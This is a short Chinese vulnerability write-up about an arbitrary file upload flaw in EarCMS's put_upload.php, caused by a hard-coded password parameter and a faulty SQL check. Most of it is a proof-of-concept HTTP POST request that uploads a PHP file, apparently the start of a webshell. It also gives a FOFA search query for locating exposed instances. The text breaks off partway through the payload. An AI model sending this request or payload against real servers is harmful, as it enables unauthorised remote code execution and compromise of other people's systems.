0x01 产品简介
EarCMS是一个APP内测分发系统的平台。
0x02 漏洞概述
EarCMS前台put_upload.php中,存在pw参数硬编码问题,同时sql语句pdo使用错误,没有有效过滤sql语句,可以控制文件名和后缀,导致可以任意文件上传。
0x03 复现环境
FOFA:app="EearCMS"
0x04 漏洞复现
PoC
POST /source/index/put_upload.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data;boundary=---------------------------141225804626496209592978386925
Accept-Encoding: gzip
Connection: close-----------------------------141225804626496209592978386925
Content-Disposition: form-data; name="ipa"; filename="666"
Content-Type: application/x-msdownload<?php
@session_start();
@set_time_l